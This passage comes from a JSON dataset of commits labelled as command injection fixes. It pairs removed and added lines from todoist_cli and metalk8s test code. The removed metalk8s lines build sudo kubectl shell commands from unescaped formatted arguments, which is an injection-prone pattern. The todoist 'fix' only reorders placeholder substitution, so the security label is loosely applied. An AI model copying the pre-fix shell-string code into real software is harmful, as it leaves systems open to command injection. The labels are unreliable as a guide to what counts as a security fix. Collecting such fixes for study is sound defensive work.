__call__(self, func):\n @wraps(func)\n def arglen_check(func_self, args):\n if self.min <= len(args) and len(args) <= self.max:\n return func(func_self, args)\n else:\n raise CmdError(\n \"The '{}' command takes between [{}, {}] args\"\n .format(\n func.__name__.split('_')[1], self.min, self.max\n )\n )\n\n return arglen_check\n\n\ndef _get_pat_and_hint(arg):\n inject_base_pat = '%{}:[\"]?({})[\"]?'\n hint_base = '%{}'\n\n if '%p:' in arg:\n pat = inject_base_pat.format('p', '\\d+')\n hint = hint_base.format('p')\n elif '%s:' in arg:\n pat = inject_base_pat.format('s', '.+')\n hint = hint_base.format('s')\n elif '%:' in arg:\n pat = inject_base_pat.format('', '.+')\n hint = hint_base.format('')\n elif '%c:' in arg:\n pat = inject_base_pat.format('c', '')\n hint = hint_base.format('c')\n elif '%cp:' in arg:\n pat = inject_base_pat.format('cp', '\\d+')\n hint = hint_base.format('cp')\n else:\n pat, hint = None, None\n\n return pat, hint\n\n\ndef _inject_id(self, args, i, pat, hint):\n res = re.compile(pat).search(args[i])\n if not res:\n raise CmdError(\"Invalid substitution argument\")\n val = res.group(1)\n inject_id = str(self.state.fetch(val, hint=hint).obj_id)\n args[i] = re.sub(pat, inject_id, args[i])\n\n\ndef inject(func):\n @wraps(func)\n def inject_arg(self, args):\n for i in range(len(args)):\n arg = args[i]\n pat, hint = _get_pat_and_hint(arg)\n if not pat and not hint:\n continue\n\n _inject_id(self, args, i, pat, hint)\n\n func(self, args)\n\n return inject_arg\n\n\nclass restrict:\n def __init__(self, subcmds):\n self.subcmds = subcmds\n\n def __call__(self, func):\n @wraps(func)\n def restrict_subcmds(func_self, args):\n if args[0] in self.subcmds:\n func(func_self, args)\n else:\n err_msg = \"Sub command must be one of: {}\".format(self.subcmds)\n raise CmdError(err_msg)\n\n return restrict_subcmds\n\n\ndef readline_inject(args):\n # Inject into readline to use the injected command.\n history_len = readline.get_current_history_length()\n last_item = readline.get_history_item(history_len)\n cmd = ' '.join([last_item.split()[0]] + args)\n readline.replace_history_item(history_len-1, cmd)\n\n\ndef print_listing(items, pos):\n for offset, item in enumerate(items):\n prnt(pos+offset, '. ', item, VIOLET, None, None)\n return pos + len(items)\n\n\ndef pure_cmd_name(cmd_func):\n return cmd_func.__name__[len('do_'):]\n"}}, "msg": "Move cmd chaining logic in pipeline after inject\n\nCommand chaining logic now takes place after an injection. This was done\nby moving it up the pipeline, as suggested by Issue #8."}, "a3be66eb730d6cf9bafd2a453301e00e72f739e1": {"url": "https://api.github.com/repos/Utagai/todoist_cli/commits/a3be66eb730d6cf9bafd2a453301e00e72f739e1", "html_url": "https://github.com/Utagai/todoist_cli/commit/a3be66eb730d6cf9bafd2a453301e00e72f739e1", "message": "Fix issue #11\n\nThis ensures that parameter injection occurs before command chaining.", "sha": "a3be66eb730d6cf9bafd2a453301e00e72f739e1", "keyword": "command injection fix", "diff": "diff --git a/todo/cli_helpers.py b/todo/cli_helpers.py\nindex 2cf5f36..c7d8d5f 100644\n--- a/todo/cli_helpers.py\n+++ b/todo/cli_helpers.py\n@@ -14,6 +14,7 @@ def command(func):\n @wraps(func)\n def cmd_trycatch(self, arg):\n cmds = _decompose(arg)\n+ _inject(self, cmds)\n if len(cmds) > 1:\n self.cmdqueue.extend(cmds[1:])\n args = shlex.split(cmds[0] if cmds else arg, comments=True)\n@@ -129,16 +130,19 @@ def _inject_id(self, args, i, pat, hint):\n args[i] = re.sub(pat, inject_id, args[i])\n \n \n+def _inject(self, args):\n+ for i in range(len(args)):\n+ arg = args[i]\n+ pat, hint = _get_pat_and_hint(arg)\n+ if not pat and not hint:\n+ continue\n+\n+ _inject_id(self, args, i, pat, hint)\n+\n def inject(func):\n @wraps(func)\n def inject_arg(self, args):\n- for i in range(len(args)):\n- arg = args[i]\n- pat, hint = _get_pat_and_hint(arg)\n- if not pat and not hint:\n- continue\n-\n- _inject_id(self, args, i, pat, hint)\n+ _inject(self, args)\n \n func(self, args)\n \n", "files": {"/todo/cli_helpers.py": {"changes": [{"diff": "\n args[i] = re.sub(pat, inject_id, args[i])\n \n \n+def _inject(self, args):\n+ for i in range(len(args)):\n+ arg = args[i]\n+ pat, hint = _get_pat_and_hint(arg)\n+ if not pat and not hint:\n+ continue\n+\n+ _inject_id(self, args, i, pat, hint)\n+\n def inject(func):\n @wraps(func)\n def inject_arg(self, args):\n- for i in range(len(args)):\n- arg = args[i]\n- pat, hint = _get_pat_and_hint(arg)\n- if not pat and not hint:\n- continue\n-\n- _inject_id(self, args, i, pat, hint)\n+ _inject(self, args)\n \n func(self, args)\n \n", "add": 10, "remove": 7, "filename": "/todo/cli_helpers.py", "badparts": [" for i in range(len(args)):", " arg = args[i]", " pat, hint = _get_pat_and_hint(arg)", " if not pat and not hint:", " continue", " _inject_id(self, args, i, pat, hint)"], "goodparts": ["def _inject(self, args):", " for i in range(len(args)):", " arg = args[i]", " pat, hint = _get_pat_and_hint(arg)", " if not pat and not hint:", " continue", " _inject_id(self, args, i, pat, hint)", " _inject(self, args)"]}], "source": "\nimport re import readline from functools import wraps import shlex from color import prnt, VIOLET, RED class CmdError(Exception): pass def command(func): @wraps(func) def cmd_trycatch(self, arg): cmds=_decompose(arg) if len(cmds) > 1: self.cmdqueue.extend(cmds[1:]) args=shlex.split(cmds[0] if cmds else arg, comments=True) try: func(self, args) except CmdError as e: prnt(\"Error:{}.\".format(str(e)), RED) prnt(\"Command details:\", RED) prnt(\"\\tCommand:\\n\\t\\t->\\\"{}\\\"\".format(pure_cmd_name(func)), RED) prnt(\"\\tArgument string:\\n\\t\\t->\\\"{}\\\"\".format(arg), RED) return cmd_trycatch def _decompose(line): breakpoints=_find_breakpoints(line) inclusive_breakpoints=[0] +breakpoints +[len(line)] cmds=[] for i in range(len(breakpoints) +1): start=inclusive_breakpoints[i] end=inclusive_breakpoints[i+1] cmd=line[start:end] if cmd and cmd[0]==';': cmd=cmd[1:] cmds.append(cmd.strip()) return cmds def _find_breakpoints(line): breakpoints=[] in_quote=False for i, ch in enumerate(line): if ch in[\"\\\"\", \"'\"]: in_quote=not in_quote if ch==';' and not in_quote: breakpoints.append(i) if ch==' break return breakpoints def state(func): @wraps(func) def set_state(self, args): self.state.set_state(func(self, args)) return set_state def emptystate(func): @wraps(func) def set_state(self, args): self.state.clear_state() func(self, args) return set_state class arglen: def __init__(self, min, max=None): self.min=min if not max: self.max=self.min else: self.max=max def __call__(self, func): @wraps(func) def arglen_check(func_self, args): if self.min <=len(args) and len(args) <=self.max: return func(func_self, args) else: raise CmdError( \"The '{}' command takes between[{},{}] args\" .format( func.__name__.split('_')[1], self.min, self.max ) ) return arglen_check def _get_pat_and_hint(arg): inject_base_pat='%{}:[\"]?{}[\"]?' hint_base='%{}' if '%p:' in arg: pat=inject_base_pat.format('p', '(\\d+)') hint=hint_base.format('p') elif '%s:' in arg: pat=inject_base_pat.format('s', '\"(.+)\"') hint=hint_base.format('s') elif '%:' in arg: pat=inject_base_pat.format('', '(.+)') hint=hint_base.format('') elif '%c:' in arg: pat=inject_base_pat.format('c', '()') hint=hint_base.format('c') elif '%cp:' in arg: pat=inject_base_pat.format('cp', '(\\d+)') hint=hint_base.format('cp') else: pat, hint=None, None return pat, hint def _inject_id(self, args, i, pat, hint): res=re.compile(pat).search(args[i]) if not res: raise CmdError(\"Invalid substitution argument\") val=res.group(1) inject_id=str(self.state.fetch(val, hint=hint).obj_id) args[i]=re.sub(pat, inject_id, args[i]) def inject(func): @wraps(func) def inject_arg(self, args): for i in range(len(args)): arg=args[i] pat, hint=_get_pat_and_hint(arg) if not pat and not hint: continue _inject_id(self, args, i, pat, hint) func(self, args) return inject_arg class restrict: def __init__(self, subcmds): self.subcmds=subcmds def __call__(self, func): @wraps(func) def restrict_subcmds(func_self, args): if args[0] in self.subcmds: func(func_self, args) else: err_msg=\"Sub command must be one of:{}\".format(self.subcmds) raise CmdError(err_msg) return restrict_subcmds def readline_inject(args): history_len=readline.get_current_history_length() last_item=readline.get_history_item(history_len) cmd=' '.join([last_item.split()[0]] +args) readline.replace_history_item(history_len-1, cmd) def print_listing(items, pos): for offset, item in enumerate(items): prnt(pos+offset, '. ', item, VIOLET, None, None) return pos +len(items) def pure_cmd_name(cmd_func): return cmd_func.__name__[len('do_'):] ", "sourceWithComments": "import re\nimport readline\nfrom functools import wraps\nimport shlex\n\nfrom color import prnt, VIOLET, RED\n\n\nclass CmdError(Exception):\n pass\n\n\ndef command(func):\n @wraps(func)\n def cmd_trycatch(self, arg):\n cmds = _decompose(arg)\n if len(cmds) > 1:\n self.cmdqueue.extend(cmds[1:])\n args = shlex.split(cmds[0] if cmds else arg, comments=True)\n try:\n func(self, args)\n except CmdError as e:\n prnt(\"Error: {}.\".format(str(e)), RED)\n prnt(\"Command details:\", RED)\n prnt(\"\\tCommand:\\n\\t\\t->\\\"{}\\\"\".format(pure_cmd_name(func)), RED)\n prnt(\"\\tArgument string:\\n\\t\\t->\\\"{}\\\"\".format(arg), RED)\n return cmd_trycatch\n\n\ndef _decompose(line):\n breakpoints = _find_breakpoints(line)\n inclusive_breakpoints = [0] + breakpoints + [len(line)]\n cmds = []\n for i in range(len(breakpoints) + 1):\n start = inclusive_breakpoints[i]\n end = inclusive_breakpoints[i+1]\n cmd = line[start:end]\n if cmd and cmd[0] == ';': # The first cmd fails this check\n cmd = cmd[1:]\n cmds.append(cmd.strip())\n return cmds\n\n\ndef _find_breakpoints(line):\n breakpoints = []\n in_quote = False\n for i, ch in enumerate(line):\n if ch in [\"\\\"\", \"'\"]:\n in_quote = not in_quote\n if ch == ';' and not in_quote:\n breakpoints.append(i)\n if ch == '#' and not in_quote:\n break # This is comment territory, ignore everything.\n return breakpoints\n\n\ndef state(func):\n @wraps(func)\n def set_state(self, args):\n self.state.set_state(func(self, args))\n\n return set_state\n\n\ndef emptystate(func):\n @wraps(func)\n def set_state(self, args):\n self.state.clear_state()\n func(self, args)\n\n return set_state\n\n\nclass arglen:\n def __init__(self, min, max=None):\n self.min = min\n if not max:\n self.max = self.min\n else:\n self.max = max\n\n def __call__(self, func):\n @wraps(func)\n def arglen_check(func_self, args):\n if self.min <= len(args) and len(args) <= self.max:\n return func(func_self, args)\n else:\n raise CmdError(\n \"The '{}' command takes between [{}, {}] args\"\n .format(\n func.__name__.split('_')[1], self.min, self.max\n )\n )\n\n return arglen_check\n\n\ndef _get_pat_and_hint(arg):\n inject_base_pat = '%{}:[\"]?{}[\"]?'\n hint_base = '%{}'\n\n if '%p:' in arg:\n pat = inject_base_pat.format('p', '(\\d+)')\n hint = hint_base.format('p')\n elif '%s:' in arg:\n pat = inject_base_pat.format('s', '\"(.+)\"')\n hint = hint_base.format('s')\n elif '%:' in arg:\n pat = inject_base_pat.format('', '(.+)')\n hint = hint_base.format('')\n elif '%c:' in arg:\n pat = inject_base_pat.format('c', '()')\n hint = hint_base.format('c')\n elif '%cp:' in arg:\n pat = inject_base_pat.format('cp', '(\\d+)')\n hint = hint_base.format('cp')\n else:\n pat, hint = None, None\n\n return pat, hint\n\n\ndef _inject_id(self, args, i, pat, hint):\n res = re.compile(pat).search(args[i])\n if not res:\n raise CmdError(\"Invalid substitution argument\")\n val = res.group(1)\n inject_id = str(self.state.fetch(val, hint=hint).obj_id)\n args[i] = re.sub(pat, inject_id, args[i])\n\n\ndef inject(func):\n @wraps(func)\n def inject_arg(self, args):\n for i in range(len(args)):\n arg = args[i]\n pat, hint = _get_pat_and_hint(arg)\n if not pat and not hint:\n continue\n\n _inject_id(self, args, i, pat, hint)\n\n func(self, args)\n\n return inject_arg\n\n\nclass restrict:\n def __init__(self, subcmds):\n self.subcmds = subcmds\n\n def __call__(self, func):\n @wraps(func)\n def restrict_subcmds(func_self, args):\n if args[0] in self.subcmds:\n func(func_self, args)\n else:\n err_msg = \"Sub command must be one of: {}\".format(self.subcmds)\n raise CmdError(err_msg)\n\n return restrict_subcmds\n\n\ndef readline_inject(args):\n # Inject into readline to use the injected command.\n history_len = readline.get_current_history_length()\n last_item = readline.get_history_item(history_len)\n cmd = ' '.join([last_item.split()[0]] + args)\n readline.replace_history_item(history_len-1, cmd)\n\n\ndef print_listing(items, pos):\n for offset, item in enumerate(items):\n prnt(pos+offset, '. ', item, VIOLET, None, None)\n return pos + len(items)\n\n\ndef pure_cmd_name(cmd_func):\n return cmd_func.__name__[len('do_'):]\n"}}, "msg": "Fix issue #11\n\nThis ensures that parameter injection occurs before command chaining."}}, "https://github.com/scality/metalk8s": {"82d92836d4ff78c623a0e06302c94cfa5ff79908": {"url": "https://api.github.com/repos/scality/metalk8s/commits/82d92836d4ff78c623a0e06302c94cfa5ff79908", "html_url": "https://github.com/scality/metalk8s/commit/82d92836d4ff78c623a0e06302c94cfa5ff79908", "message": "Use safer invocation of shell commands\n\nRunning commands with the \"host\" fixture provided by testinfra was done\nwithout concern for quoting of arguments, and might be vulnerable to\ninjections / escaping issues.\n\nUsing a log-like formatting, i.e. `host.run('my-cmd %s %d', arg1, arg2)`\nfixes the issue (note we cannot use a list of strings as with\n`subprocess`).\n\nIssue: GH-781", "sha": "82d92836d4ff78c623a0e06302c94cfa5ff79908", "keyword": "command injection fix", "diff": "diff --git a/tests/post/steps/test_dns.py b/tests/post/steps/test_dns.py\nindex bf75381ae..4f3a02729 100644\n--- a/tests/post/steps/test_dns.py\n+++ b/tests/post/steps/test_dns.py\n@@ -22,7 +22,7 @@ def busybox_pod(kubeconfig):\n with open(pod_manifest, encoding='utf-8') as pod_fd:\n pod_manifest_content = yaml.safe_load(pod_fd)\n \n- k8s_client.create_namespaced_pod(\n+ k8s_client.create_namespaced_pod(\n body=pod_manifest_content, namespace=\"default\"\n )\n \n@@ -56,11 +56,13 @@ def test_dns(host):\n \n @then(parsers.parse(\"the hostname '{hostname}' should be resolved\"))\n def resolve_hostname(busybox_pod, host, hostname):\n- with host.sudo():\n- # test dns resolve\n- cmd_nslookup = (\"kubectl --kubeconfig=/etc/kubernetes/admin.conf\"\n- \" exec -ti {0} nslookup {1}\".format(\n- pod_name,\n- hostname))\n- res = host.run(cmd_nslookup)\n- assert res.rc == 0, \"Cannot resolve {}\".format(hostname)\n+ with host.sudo():\n+ # test dns resolve\n+ result = host.run(\n+ \"kubectl --kubeconfig=/etc/kubernetes/admin.conf \"\n+ \"exec -ti %s nslookup %s\",\n+ busybox_pod,\n+ hostname,\n+ )\n+\n+ assert result.rc == 0, \"Cannot resolve {}\".format(hostname)\ndiff --git a/tests/post/steps/test_liveness.py b/tests/post/steps/test_liveness.py\nindex 0bfde3b09..2c472d725 100644\n--- a/tests/post/steps/test_liveness.py\n+++ b/tests/post/steps/test_liveness.py\n@@ -30,10 +30,14 @@ def test_expected_pods(host):\n \"empty in the '{namespace}' namespace\"))\n def check_resource_list(host, resource, namespace):\n with host.sudo():\n- cmd = (\"kubectl --kubeconfig=/etc/kubernetes/admin.conf\"\n- \" get {0} --namespace {1} -o custom-columns=:metadata.name\")\n- cmd_res = host.check_output(cmd.format(resource, namespace))\n- assert len(cmd_res.strip()) > 0, 'No {0} found in namespace {1}'.format(\n+ output = host.check_output(\n+ \"kubectl --kubeconfig=/etc/kubernetes/admin.conf \"\n+ \"get %s --namespace %s -o custom-columns=:metadata.name\",\n+ resource,\n+ namespace,\n+ )\n+\n+ assert len(output.strip()) > 0, 'No {0} found in namespace {1}'.format(\n resource, namespace)\n \n \n@@ -49,17 +53,14 @@ def check_exec(host, command, label, namespace):\n \n pod = candidates[0]\n \n- cmd = ' '.join([\n- 'kubectl',\n- '--kubeconfig=/etc/kubernetes/admin.conf',\n- 'exec',\n- '--namespace {0}'.format(namespace),\n+ with host.sudo():\n+ host.check_output(\n+ 'kubectl --kubeconfig=/etc/kubernetes/admin.conf '\n+ 'exec --namespace %s %s %s',\n+ namespace,\n pod['metadata']['name'],\n command,\n- ])\n-\n- with host.sudo():\n- host.check_output(cmd)\n+ )\n \n \n @then(parsers.parse(\ndiff --git a/tests/post/steps/test_logs.py b/tests/post/steps/test_logs.py\nindex 168231441..55517eeaa 100644\n--- a/tests/post/steps/test_logs.py\n+++ b/tests/post/steps/test_logs.py\n@@ -9,15 +9,18 @@ def test_logs(host):\n @then(\"the pods logs should not be empty\")\n def check_logs(host):\n with host.sudo():\n- cmd = ('kubectl --kubeconfig=/etc/kubernetes/admin.conf'\n- ' get pods -n kube-system'\n- ' --no-headers -o custom-columns=\":metadata.name\"')\n- pods_list = host.check_output(cmd)\n+ pods_list = host.check_output(\n+ 'kubectl --kubeconfig=/etc/kubernetes/admin.conf '\n+ 'get pods -n kube-system '\n+ '--no-headers -o custom-columns=\":metadata.name\"'\n+ )\n for pod_id in pods_list.split('\\n'):\n- cmd_logs = ('kubectl --kubeconfig=/etc/kubernetes/admin.conf'\n- ' logs {} --limit-bytes=1 -n kube-system'.format(\n- pod_id))\n- res = host.check_output(cmd_logs)\n+ pod_logs = host.check_output(\n+ 'kubectl --kubeconfig=/etc/kubernetes/admin.conf '\n+ 'logs %s --limit-bytes=1 -n kube-system',\n+ pod_id,\n+ )\n+\n if 'salt-master' not in pod_id:\n- assert len(res.strip()) > 0, (\n+ assert len(pod_logs.strip()) > 0, (\n 'Error cannot retrieve logs for {}'.format(pod_id))\n", "files": {"/tests/post/steps/test_dns.py": {"changes": [{"diff": "\n with open(pod_manifest, encoding='utf-8') as pod_fd:\n pod_manifest_content = yaml.safe_load(pod_fd)\n \n- k8s_client.create_namespaced_pod(\n+ k8s_client.create_namespaced_pod(\n body=pod_manifest_content, namespace=\"default\"\n )\n \n", "add": 1, "remove": 1, "filename": "/tests/post/steps/test_dns.py", "badparts": [" k8s_client.create_namespaced_pod("], "goodparts": [" k8s_client.create_namespaced_pod("]}, {"diff": "\n \n @then(parsers.parse(\"the hostname '{hostname}' should be resolved\"))\n def resolve_hostname(busybox_pod, host, hostname):\n- with host.sudo():\n- # test dns resolve\n- cmd_nslookup = (\"kubectl --kubeconfig=/etc/kubernetes/admin.conf\"\n- \" exec -ti {0} nslookup {1}\".format(\n- pod_name,\n- hostname))\n- res = host.run(cmd_nslookup)\n- assert res.rc == 0, \"Cannot resolve {}\".format(hostname)\n+ with host.sudo():\n+ # test dns resolve\n+ result = host.run(\n+ \"kubectl --kubeconfig=/etc/kubernetes/admin.conf \"\n+ \"exec -ti %s nslookup %s\",\n+ busybox_pod,\n+ hostname,\n+ )\n+\n+ assert result.rc == 0, \"Cannot resolve {}\".format(hostname)", "add": 10, "remove": 8, "filename": "/tests/post/steps/test_dns.py", "badparts": [" with host.sudo():", " cmd_nslookup = (\"kubectl --kubeconfig=/etc/kubernetes/admin.conf\"", " \" exec -ti {0} nslookup {1}\".format(", " pod_name,", " hostname))", " res = host.run(cmd_nslookup)", " assert res.rc == 0, \"Cannot resolve {}\".format(hostname)"], "goodparts": [" with host.sudo():", " result = host.run(", " \"kubectl --kubeconfig=/etc/kubernetes/admin.conf \"", " \"exec -ti %s nslookup %s\",", " busybox_pod,", " hostname,", " )", " assert result.rc == 0, \"Cannot resolve {}\".format(hostname)"]}], "source": "\nimport os from kubernetes import client, config import pytest from pytest_bdd import scenario, then, parsers import yaml from tests import utils @pytest.fixture def busybox_pod(kubeconfig): config.load_kube_config(config_file=kubeconfig) k8s_client=client.CoreV1Api() pod_manifest=os.path.join( os.path.realpath(os.path.dirname(__file__)), \"files\", \"busybox.yaml\" ) with open(pod_manifest, encoding='utf-8') as pod_fd: pod_manifest_content=yaml.safe_load(pod_fd) k8s_client.create_namespaced_pod( body=pod_manifest_content, namespace=\"default\" ) def _check_status(): pod_info=k8s_client.read_namespaced_pod( name=\"busybox\", namespace=\"default\", ) assert pod_info.status.phase==\"Running\",( \"Wrong status for 'busybox' Pod -found{status}\" ).format(status=pod_info.status.phase) utils.retry(_check_status, times=10) yield \"busybox\" k8s_client.delete_namespaced_pod( name=\"busybox\", namespace=\"default\", body=client.V1DeleteOptions(), ) @scenario('../features/dns_resolution.feature', 'check DNS') def test_dns(host): pass @then(parsers.parse(\"the hostname '{hostname}' should be resolved\")) def resolve_hostname(busybox_pod, host, hostname): with host.sudo(): cmd_nslookup=(\"kubectl --kubeconfig=/etc/kubernetes/admin.conf\" \" exec -ti{0} nslookup{1}\".format( pod_name, hostname)) res=host.run(cmd_nslookup) assert res.rc==0, \"Cannot resolve{}\".format(hostname) ", "sourceWithComments": "import os\n\nfrom kubernetes import client, config\nimport pytest\nfrom pytest_bdd import scenario, then, parsers\nimport yaml\n\nfrom tests import utils\n\n\n@pytest.fixture\ndef busybox_pod(kubeconfig):\n config.load_kube_config(config_file=kubeconfig)\n k8s_client = client.CoreV1Api()\n\n # Create the busybox pod\n pod_manifest = os.path.join(\n os.path.realpath(os.path.dirname(__file__)),\n \"files\",\n \"busybox.yaml\"\n )\n with open(pod_manifest, encoding='utf-8') as pod_fd:\n pod_manifest_content = yaml.safe_load(pod_fd)\n\n k8s_client.create_namespaced_pod(\n body=pod_manifest_content, namespace=\"default\"\n )\n\n # Wait for the busybox to be ready\n def _check_status():\n pod_info = k8s_client.read_namespaced_pod(\n name=\"busybox\",\n namespace=\"default\",\n )\n assert pod_info.status.phase == \"Running\", (\n \"Wrong status for 'busybox' Pod - found {status}\"\n ).format(status=pod_info.status.phase)\n\n utils.retry(_check_status, times=10)\n\n yield \"busybox\"\n\n # Clean-up resources\n k8s_client.delete_namespaced_pod(\n name=\"busybox\",\n namespace=\"default\",\n body=client.V1DeleteOptions(),\n )\n\n\n# Scenarios\n@scenario('../features/dns_resolution.feature', 'check DNS')\ndef test_dns(host):\n pass\n\n\n@then(parsers.parse(\"the hostname '{hostname}' should be resolved\"))\ndef resolve_hostname(busybox_pod, host, hostname):\n with host.sudo():\n # test dns resolve\n cmd_nslookup = (\"kubectl --kubeconfig=/etc/kubernetes/admin.conf\"\n \" exec -ti {0} nslookup {1}\".format(\n pod_name,\n hostname))\n res = host.run(cmd_nslookup)\n assert res.rc == 0, \"Cannot resolve {}\".format(hostname)\n"}, "/tests/post/steps/test_liveness.py": {"changes": [{"diff": "\n \"empty in the '{namespace}' namespace\"))\n def check_resource_list(host, resource, namespace):\n with host.sudo():\n- cmd = (\"kubectl --kubeconfig=/etc/kubernetes/admin.conf\"\n- \" get {0} --namespace {1} -o custom-columns=:metadata.name\")\n- cmd_res = host.check_output(cmd.format(resource, namespace))\n- assert len(cmd_res.strip()) > 0, 'No {0} found in namespace {1}'.format(\n+ output = host.check_output(\n+ \"kubectl --kubeconfig=/etc/kubernetes/admin.conf \"\n+ \"get %s --namespace %s -o custom-columns=:metadata.name\",\n+ resource,\n+ namespace,\n+ )\n+\n+ assert len(output.strip()) > 0, 'No {0} found in namespace {1}'.format(\n resource, namespace)\n \n \n", "add": 8, "remove": 4, "filename": "/tests/post/steps/test_liveness.py", "badparts": [" cmd = (\"kubectl --kubeconfig=/etc/kubernetes/admin.conf\"", " \" get {0} --namespace {1} -o custom-columns=:metadata.name\")", " cmd_res = host.check_output(cmd.format(resource, namespace))", " assert len(cmd_res.strip()) > 0, 'No {0} found in namespace {1}'.format("], "goodparts": [" output = host.check_output(", " \"kubectl --kubeconfig=/etc/kubernetes/admin.conf \"", " \"get %s --namespace %s -o custom-columns=:metadata.name\",", " resource,", " namespace,", " )", " assert len(output.strip()) > 0, 'No {0} found in namespace {1}'.format("]}, {"diff": "\n \n pod = candidates[0]\n \n- cmd = ' '.join([\n- 'kubectl',\n- '--kubeconfig=/etc/kubernetes/admin.conf',\n- 'exec',\n- '--namespace {0}'.format(namespace),\n+ with host.sudo():\n+ host.check_output(\n+ 'kubectl --kubeconfig=/etc/kubernetes/admin.conf '\n+ 'exec --namespace %s %s %s',\n+ namespace,\n pod['metadata']['name'],\n command,\n- ])\n-\n- with host.sudo():\n- host.check_output(cmd)\n+ )\n \n \n @then(parsers.parse", "add": 6, "remove": 9, "filename": "/tests/post/steps/test_liveness.py", "badparts": [" cmd = ' '.join([", " 'kubectl',", " '--kubeconfig=/etc/kubernetes/admin.conf',", " 'exec',", " '--namespace {0}'.format(namespace),", " ])", " with host.sudo():", " host.check_output(cmd)"], "goodparts": [" with host.sudo():", " host.check_output(", " 'kubectl --kubeconfig=/etc/kubernetes/admin.conf '", " 'exec --namespace %s %s %s',", " namespace,", " )"]}], "source": "\nimport json import time import pytest from pytest_bdd import scenario, then, parsers from tests import kube_utils from tests import utils @scenario('../features/pods_alive.feature', 'List Pods') def test_list_pods(host): pass @scenario('../features/pods_alive.feature', 'Exec in Pods') def test_exec_in_pods(host): pass @scenario('../features/pods_alive.feature', 'Expected Pods') def test_expected_pods(host): pass @then(parsers.parse( \"the '{resource}' list should not be \" \"empty in the '{namespace}' namespace\")) def check_resource_list(host, resource, namespace): with host.sudo(): cmd=(\"kubectl --kubeconfig=/etc/kubernetes/admin.conf\" \" get{0} --namespace{1} -o custom-columns=:metadata.name\") cmd_res=host.check_output(cmd.format(resource, namespace)) assert len(cmd_res.strip()) > 0, 'No{0} found in namespace{1}'.format( resource, namespace) @then(parsers.parse( \"we can exec '{command}' in the pod labeled '{label}' \" \"in the '{namespace}' namespace\")) def check_exec(host, command, label, namespace): candidates=kube_utils.get_pods(host, label, namespace) assert len(candidates)==1,( \"Expected one(and only one) pod with label{l}, found{f}\" ).format(l=label, f=len(candidates)) pod=candidates[0] cmd=' '.join([ 'kubectl', '--kubeconfig=/etc/kubernetes/admin.conf', 'exec', '--namespace{0}'.format(namespace), pod['metadata']['name'], command, ]) with host.sudo(): host.check_output(cmd) @then(parsers.parse( \"we have at least{min_pods_count:d} running pod labeled '{label}'\")) def count_running_pods(host, min_pods_count, label): def _check_pods_count(): pods=kube_utils.get_pods( host, label, namespace=\"kube-system\", status_phase=\"Running\", ) assert len(pods) >=min_pods_count utils.retry(_check_pods_count, times=10, wait=3) ", "sourceWithComments": "import json\nimport time\n\nimport pytest\nfrom pytest_bdd import scenario, then, parsers\n\nfrom tests import kube_utils\nfrom tests import utils\n\n\n# Scenarios\n@scenario('../features/pods_alive.feature', 'List Pods')\ndef test_list_pods(host):\n pass\n\n\n@scenario('../features/pods_alive.feature', 'Exec in Pods')\ndef test_exec_in_pods(host):\n pass\n\n\n@scenario('../features/pods_alive.feature', 'Expected Pods')\ndef test_expected_pods(host):\n pass\n\n\n# Then\n@then(parsers.parse(\n \"the '{resource}' list should not be \"\n \"empty in the '{namespace}' namespace\"))\ndef check_resource_list(host, resource, namespace):\n with host.sudo():\n cmd = (\"kubectl --kubeconfig=/etc/kubernetes/admin.conf\"\n \" get {0} --namespace {1} -o custom-columns=:metadata.name\")\n cmd_res = host.check_output(cmd.format(resource, namespace))\n assert len(cmd_res.strip()) > 0, 'No {0} found in namespace {1}'.format(\n resource, namespace)\n\n\n@then(parsers.parse(\n \"we can exec '{command}' in the pod labeled '{label}' \"\n \"in the '{namespace}' namespace\"))\ndef check_exec(host, command, label, namespace):\n candidates = kube_utils.get_pods(host, label, namespace)\n\n assert len(candidates) == 1, (\n \"Expected one (and only one) pod with label {l}, found {f}\"\n ).format(l=label, f=len(candidates))\n\n pod = candidates[0]\n\n cmd = ' '.join([\n 'kubectl',\n '--kubeconfig=/etc/kubernetes/admin.conf',\n 'exec',\n '--namespace {0}'.format(namespace),\n pod['metadata']['name'],\n command,\n ])\n\n with host.sudo():\n host.check_output(cmd)\n\n\n@then(parsers.parse(\n \"we have at least {min_pods_count:d} running pod labeled '{label}'\"))\ndef count_running_pods(host, min_pods_count, label):\n def _check_pods_count():\n pods = kube_utils.get_pods(\n host,\n label,\n namespace=\"kube-system\",\n status_phase=\"Running\",\n )\n\n assert len(pods) >= min_pods_count\n\n utils.retry(_check_pods_count, times=10, wait=3)\n"}, "/tests/post/steps/test_logs.py": {"changes": [{"diff": "\n @then(\"the pods logs should not be empty\")\n def check_logs(host):\n with host.sudo():\n- cmd = ('kubectl --kubeconfig=/etc/kubernetes/admin.conf'\n- ' get pods -n kube-system'\n- ' --no-headers -o custom-columns=\":metadata.name\"')\n- pods_list = host.check_output(cmd)\n+ pods_list = host.check_output(\n+ 'kubectl --kubeconfig=/etc/kubernetes/admin.conf '\n+ 'get pods -n kube-system '\n+ '--no-headers -o custom-columns=\":metadata.name\"'\n+ )\n for pod_id in pods_list.split('\\n'):\n- cmd_logs = ('kubectl --kubeconfig=/etc/kubernetes/admin.conf'\n- ' logs {} --limit-bytes=1 -n kube-system'.format(\n- pod_id))\n- res = host.check_output(cmd_logs)\n+ pod_logs = host.check_output(\n+ 'kubectl --kubeconfig=/etc/kubernetes/admin.conf '\n+ 'logs %s --limit-bytes=1 -n kube-system',\n+ pod_id,\n+ )\n+\n if 'salt-master' not in pod_id:\n- assert len(res.strip()) > 0, (\n+ assert len(pod_logs.strip()) > 0, (\n 'Error cannot retrieve logs for {}'.format(pod_id))\n", "add": 12, "remove": 9, "filename": "/tests/post/steps/test_logs.py", "badparts": [" cmd = ('kubectl --kubeconfig=/etc/kubernetes/admin.conf'", " ' get pods -n kube-system'", " ' --no-headers -o custom-columns=\":metadata.name\"')", " pods_list = host.check_output(cmd)", " cmd_logs = ('kubectl --kubeconfig=/etc/kubernetes/admin.conf'", " ' logs {} --limit-bytes=1 -n kube-system'.format(", " pod_id))", " res = host.check_output(cmd_logs)", " assert len(res.strip()) > 0, ("], "goodparts": [" pods_list = host.check_output(", " 'kubectl --kubeconfig=/etc/kubernetes/admin.conf '", " 'get pods -n kube-system '", " '--no-headers -o custom-columns=\":metadata.name\"'", " )", " pod_logs = host.check_output(", " 'kubectl --kubeconfig=/etc/kubernetes/admin.conf '", " 'logs %s --limit-bytes=1 -n kube-system',", " pod_id,", " )", " assert len(pod_logs.strip()) > 0, ("]}], "source": "\nfrom pytest_bdd import scenario, then @scenario('../features/log_accessible.feature', 'get logs') def test_logs(host): pass 